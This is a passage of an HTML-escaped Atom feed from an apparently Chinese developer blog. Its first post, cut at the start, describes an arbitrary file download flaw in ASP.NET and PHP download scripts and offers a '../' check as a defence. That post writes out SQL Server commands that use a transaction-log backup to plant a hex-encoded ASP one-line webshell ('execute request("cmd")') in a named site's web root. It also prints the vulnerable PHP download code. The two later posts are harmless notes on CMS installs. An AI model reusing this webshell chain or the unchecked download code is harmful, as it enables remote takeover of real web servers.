font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;登录到远程数据库，使用log备份获得一句话木马：&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;use&amp;nbsp;Dbicid2011--&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;drop&amp;nbsp;table&amp;nbsp;cmd--&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;alter&amp;nbsp;database&amp;nbsp;Dbicid2011&amp;nbsp;set&amp;nbsp;recovery&amp;nbsp;full--&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;create&amp;nbsp;table&amp;nbsp;cmd&amp;nbsp;(a&amp;nbsp;image)--&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;backup&amp;nbsp;log&amp;nbsp;Dbicid2011&amp;nbsp;to&amp;nbsp;disk='D:\domains\icid2011\wwwroot\datafiles\RegistrationFiles\cmd.bak'&amp;nbsp;with&amp;nbsp;init&amp;nbsp;--&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;insert&amp;nbsp;into&amp;nbsp;cmd&amp;nbsp;(a)&amp;nbsp;values(0x3C256578656375746520726571756573742822636D64222920253E)--&amp;lt;%execute&amp;nbsp;request("cmd")&amp;nbsp;%&amp;gt;&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;backup&amp;nbsp;log&amp;nbsp;Dbicid2011&amp;nbsp;to&amp;nbsp;disk='D:\domains\icid2011\wwwroot\yxy.asp'&amp;#8212;&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;(注：至于如何根据数据库获得web的绝对目录，就不再赘述)这样就完成了一次简单的渗透过程.&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;漏洞危害：&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;此漏洞危害是不言而喻的,即使远程数据库是内网数据库或者不能远程连接，该漏洞也可以使得攻击者下载任意web源文件.大大降低攻击的难度。&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;防范方法：&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;对于防范其它很简单，正常的filename参数中是不会包含../字符，（因为大部分情况下载文件在单独的一个目录中，不是网站的根目录，要想下载任意文件必须使用../回溯）只要检查参数中是否包含../，如果包含基本上就可以肯定是非法请求，直接提示，拒绝下载即可。&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;上述只是以asp.net为例，其实对于其它脚本也是一样，如php脚本实现该功能代码如下：&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;&amp;lt;?php&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;//&amp;nbsp;downloading&amp;nbsp;a&amp;nbsp;file&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;$filename&amp;nbsp;=&amp;nbsp;$_GET['filename'];&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;header("Pragma:&amp;nbsp;public");&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;header("Expires:&amp;nbsp;0");&amp;nbsp;//&amp;nbsp;set&amp;nbsp;expiration&amp;nbsp;time&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;header("Cache-Control:&amp;nbsp;must-revalidate,&amp;nbsp;post-check=0,&amp;nbsp;pre-check=0");&amp;nbsp;&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;header("Content-Type:&amp;nbsp;application/force-download");&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;header("Content-Type:&amp;nbsp;application/octet-stream");&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;header("Content-Type:&amp;nbsp;application/download");&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;header("Content-Disposition:&amp;nbsp;attachment;&amp;nbsp;filename=".($filename).";");&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;header("Content-Transfer-Encoding:&amp;nbsp;binary");&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;header("Content-Length:&amp;nbsp;".filesize($filename));&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;readfile("$filename");&amp;nbsp;&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;echo&amp;nbsp;basename($filename);&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;exit();&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;?&amp;gt;&lt;/span&gt;&lt;br style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; " /&gt;&lt;span style="color: #13253c; font-family: 宋体, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 12px; line-height: 19px; background-color: #f5f5f5; "&gt;基本功能类似，同样存在该问题，但是php的数据库连接文件不是固定的，需要下载几个文件才能找到，并且一般站点的mysql不允许远程连接，与上面的渗透方式有些不同，但是也可以下载源码或者系统其它配置信息，危害也已经很大了。具体的渗透过程和防范方法与上面类似，再此不在赘述。&lt;/span&gt;&amp;nbsp;&lt;img src="http://www.cnblogs.com/jecray/aggbug/2475697.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/jecray/archive/2012/04/28/2475697.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/jecray/archive/2012/04/15/2450938.html</id><title type="text">国内另一款很强大的开源cms we7</title><summary type="text">感觉实现的原理功能和kooboo类似，但更加符合国人习惯，很好很强大。且没有采用asp.net mvc模型，对服务器的要求较低，适用性更强。</summary><published>2012-04-15T14:32:00Z</published><updated>2012-04-15T14:32:00Z</updated><author><name>jecray</name><uri>http://www.cnblogs.com/jecray/</uri></author><link rel="alternate" href="http://www.cnblogs.com/jecray/archive/2012/04/15/2450938.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/jecray/archive/2012/04/15/2450938.html"/><content type="html">感觉实现的原理功能和kooboo类似，但更加符合国人习惯，很好很强大。且没有采用asp.net mvc模型，对服务器的要求较低，适用性更强。&lt;img src="http://www.cnblogs.com/jecray/aggbug/2450938.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/jecray/archive/2012/04/15/2450938.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/jecray/archive/2012/04/11/2442467.html</id><title type="text">国内一款很强大的开源cms kooboo</title><summary type="text">该项目需要用vs2010 +sp 1+sql server2005以上打开，WebPlatformInstaller安装asp.net mvc3等组件。安装起来挺麻烦，遇到了以下错误。1.The namespace 'Kooboo.CMS.Sites.Extension.Module' is not a valid identifier解决方法：卸载 .net framework 4.5 重新安装vs20102.Not supported engine for '.cshtml'Line 60: throw new NotSupportedException(s</summary><published>2012-04-11T07:38:00Z</published><updated>2012-04-11T07:38:00Z</updated><author><name>jecray</name><uri>http://www.cnblogs.com/jecray/</uri></author><link rel="alternate" href="http://www.cnblogs.com/jecray/archive/2012/04/11/2442467.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/jecray/archive/2012/04/11/2442467.html"/><content type="html">&lt;p&gt;该项目需要用vs2010 +sp 1+sql server2005以上打开，WebPlatformInstaller安装asp.net mvc3等组件。&lt;/p&gt;&lt;p&gt;安装起来挺麻烦，遇到了以下错误。&lt;/p&gt;&lt;p&gt;&amp;nbsp;1.&lt;a id="ThreadTitleLink" href="http://kooboo.codeplex.com/discussions/348590" style="text-decoration: none; color: #ce8b10; font-family: 'Segoe UI', 'Microsoft Sans Serif', Arial, Geneva, sans-serif; font-size: 15px; font-weight: bold; line-height: normal; background-color: #ffffff; "&gt;&amp;nbsp;The namespace 'Kooboo.CMS.Sites.Extension.Module' is not a valid identifier&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;解决方法：卸载 .net framework 4.5 重新安装vs2010&lt;/p&gt;&lt;p&gt;&lt;span style="font-family: Verdana; font-size: 12px; line-height: normal; "&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;2.Not supported engine for '.cshtml'&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Line 60:                 throw new NotSupportedException(string.Format("Not supported engine for '{0}'", fileExtension)); &lt;/p&gt;&lt;/span&gt;解决方法：在kooboo.cms.web添加Kooboo.CMS.Sites.TemplateEngines.Razor.dll引用。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;解决这些问题后，可以使用了，貌似很复杂啊。&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/jecray/aggbug/2442467.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/jecray/archive/2012/04/11/2442467.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry></feed>
